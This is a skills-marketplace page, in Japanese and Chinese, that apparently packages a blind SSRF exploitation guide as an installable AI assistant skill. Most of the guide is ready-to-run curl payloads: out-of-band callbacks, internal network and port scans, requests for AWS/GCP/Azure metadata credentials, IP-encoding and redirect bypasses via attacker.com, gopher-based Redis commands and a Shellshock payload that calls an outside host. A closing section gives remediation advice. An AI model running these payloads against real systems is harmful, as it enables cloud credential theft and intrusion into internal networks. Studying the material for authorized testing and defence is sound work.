performing-blind-ssrf-exploitation

使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞，以访问内部服务和云元数据端点。

インストールへ移動

リポジトリ: killvxk/cybersecurity-skills-zh
ソースの最終更新活動: 2026年3月17日 21:38
検出された SKILL.md の言語: 中国語
スター: 42
フォーク: 9

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

Codex または Claude でインストールこの Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。

直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。

npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-blind-ssrf-exploitation

コマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。

ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー

4 ファイル

SKILL.md

ソースの指示 · 読み取り専用プレビュー

検索に戻るインストールに戻る

hunting-for-dns-tunneling-with-zeek

通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型，检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于：当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具（iodine、dnscat2、DNSExfiltrator）的威胁情报时使用。

2026-04-27

implementing-beyondcorp-zero-trust-access-model

实施 Google 的 BeyondCorp 零信任访问模型，通过 IAP、Access Context Manager 和 Chrome Enterprise Premium，消除网络边界的隐式信任，强制执行基于身份的访问控制，实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。

2026-04-27

testing-for-xss-vulnerabilities-with-burpsuite

在授权的安全评估过程中，使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本（XSS）漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS，验证自动化扫描器报告的 XSS 发现，以及评估 CSP 和 XSS 过滤器的有效性时使用。

2026-04-27

このリポジトリのすべてを見る

name	performing-blind-ssrf-exploitation
description	使用带外技术、DNS 交互和时序分析检测并利用盲 SSRF 漏洞，以访问内部服务和云元数据端点。
domain	cybersecurity
subdomain	web-application-security
tags	["blind-ssrf","ssrf","out-of-band","burp-collaborator","cloud-metadata","internal-network","oob-detection"]
version	1.0
author	mahipal
license	Apache-2.0

执行盲 SSRF 利用（Performing Blind SSRF Exploitation）

适用场景

测试服务器端响应未被反映的 URL/Webhook 输入参数时
评估获取外部资源的应用程序（头像、预览、导入）时
测试 PDF 生成器、图像处理器或文档转换器的 SSRF 漏洞时
进行云安全评估以检测元数据端点访问时
评估 Webhook 功能和 URL 验证实现时

前置条件

带有 Burp Collaborator 的 Burp Suite Professional，用于带外（OOB）检测
interact.sh 或 webhook.site，用于外部回调监控
了解 SSRF 攻击向量和内网枚举
掌握云元数据端点知识（AWS、GCP、Azure）
用于高级利用回调处理的 VPS 或受控服务器
带有 requests 库的 Python，用于自动化脚本

工作流程

步骤 1 — 识别盲 SSRF 输入点

# 常见易受 SSRF 攻击的参数：
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# 测试 URL 获取功能
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# 测试 Webhook 配置
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# 测试图片/头像 URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# 测试文档导入
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

步骤 2 — 使用带外检测确认盲 SSRF

# 使用 Burp Collaborator 进行 DNS + HTTP 回调
# 生成 Collaborator 载荷：xxxxxx.oastify.com

# 基于 DNS 的检测（即使 HTTP 被封锁也有效）
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 DNS 查询

# 基于 HTTP 的检测
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# 检查 Collaborator 中的 HTTP 请求

# interact.sh 替代方案
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# 监控 interact.sh 仪表板的交互

步骤 3 — 枚举内部网络

# 通过盲 SSRF 扫描内部 IP 段
# 使用时序差异判断主机是否存活

# 扫描常见内网段
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# 通过盲 SSRF 进行端口扫描
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "端口 $port 已测试"
done

# 使用 gopher:// 进行更高级的内部服务交互
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

步骤 4 — 访问云元数据端点

# AWS 元数据（IMDSv1）
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM 凭证
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP 元数据
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure 元数据
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS 重绑定访问元数据（绕过 IP 封锁）
# 使用 rebinder.net 等服务创建 DNS 重绑定域名
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

步骤 5 — 绕过 SSRF 过滤器

# IP 表示绕过
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # 十六进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # 十进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # 八进制
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # 简短形式
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL 解析混淆
curl -X POST http://target.com/api/fetch -d '{"url": "http://target.com@127.0.0.1/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# 基于重定向的绕过
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS 重绑定
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'

步骤 6 — 将盲 SSRF 升级为数据外泄

# 通过 DNS 外泄数据（仅 DNS 回调有效时）
# 如果能实现反映数据的服务的 SSRF：
# 链条：SSRF -> 内部服务 -> DNS 外泄

# 使用 gopher 协议执行 Redis 命令
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# 将盲 SSRF 与内部主机的 Shellshock 结合利用
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# 配合 User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# 通过 SSRF 利用内部服务
# Redis：写入 SSH 密钥
# Memcached：注入序列化对象
# Elasticsearch：读取索引
# 内部 API：访问已认证端点

核心概念

概念	定义
盲 SSRF（Blind SSRF）	服务器发出请求但响应对攻击者不可见
带外检测（Out-of-Band Detection）	使用外部回调（DNS、HTTP）确认 SSRF 执行
DNS 重绑定（DNS Rebinding）	通过更改 DNS 解析绕过基于 IP 的 SSRF 过滤器的技术
云元数据（Cloud Metadata）	可通过 SSRF 访问的实例元数据端点，用于凭证窃取
Gopher 协议	允许构造载荷与内部 TCP 服务交互的协议
时序检测（Time-Based Detection）	通过测量响应时间差异检测 SSRF 成功
SSRF 链（SSRF Chain）	将 SSRF 与其他漏洞结合以获得更大影响

工具与系统

工具	用途
Burp Collaborator	用于 DNS 和 HTTP 回调检测的带外交互服务器
interact.sh	ProjectDiscovery 的开源带外交互工具
SSRFmap	自动化 SSRF 检测和利用框架
Gopherus	生成用于通过 SSRF 利用内部服务的 gopher 载荷
webhook.site	用于测试 SSRF 回调的免费 Webhook 接收器
rebinder.net	用于绕过 SSRF IP 过滤器的 DNS 重绑定服务

常见场景

云凭证窃取 — 利用盲 SSRF 访问 AWS/GCP/Azure 元数据端点，窃取 IAM 凭证用于云账户入侵
内部服务发现 — 使用基于时序的盲 SSRF 枚举内网主机和开放端口
Redis 利用 — 将盲 SSRF 与 gopher:// 协议结合，在内部 Redis 实例上执行命令
Webhook 滥用 — 利用 Webhook URL 字段扫描内网并通过带外通道外泄数据
PDF 生成器 SSRF — 向 PDF 生成功能注入内部 URL，在渲染的文档中外泄内部内容

输出格式

## 盲 SSRF 评估报告
- **目标**：http://target.com/api/fetch-url
- **检测方法**：Burp Collaborator DNS + HTTP 回调
- **内部访问已确认**：是

### 发现
| # | 输入点 | 载荷 | 检测 | 影响 |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url 参数 | http://collaborator | HTTP 回调 | 确认 SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | 时序（2.3s vs 0.1s） | 云元数据 |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis 写入已确认 | 潜在 RCE |

### 内网地图
| 主机 | 端口 | 服务 | 可访问 |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | 是 |
| 10.0.0.10 | 9200 | Elasticsearch | 是 |
| 169.254.169.254 | 80 | AWS 元数据 | 是 |

### 修复建议
- 对 URL 获取实施允许的外部域白名单
- 封锁对私有 IP 段和云元数据端点的请求
- 对 AWS 实例元数据使用 IMDSv2（需要令牌）
- 禁用未使用的 URL 协议（gopher、file、dict）
- 为应用程序服务器实施网络级别分段

performing-blind-ssrf-exploitation

ソース情報

インストール方法

ソースファイルを確認

このリポジトリの他の Skills

このリポジトリの他の Skills

执行盲 SSRF 利用（Performing Blind SSRF Exploitation）

适用场景

前置条件

工作流程

步骤 1 — 识别盲 SSRF 输入点

步骤 2 — 使用带外检测确认盲 SSRF

步骤 3 — 枚举内部网络

步骤 4 — 访问云元数据端点

步骤 5 — 绕过 SSRF 过滤器

步骤 6 — 将盲 SSRF 升级为数据外泄

核心概念

工具与系统

常见场景

输出格式

执行盲 SSRF 利用（Performing Blind SSRF Exploitation）

适用场景

前置条件

工作流程

步骤 1 — 识别盲 SSRF 输入点

步骤 2 — 使用带外检测确认盲 SSRF

步骤 3 — 枚举内部网络

步骤 4 — 访问云元数据端点

步骤 5 — 绕过 SSRF 过滤器

步骤 6 — 将盲 SSRF 升级为数据外泄

核心概念

工具与系统

常见场景

输出格式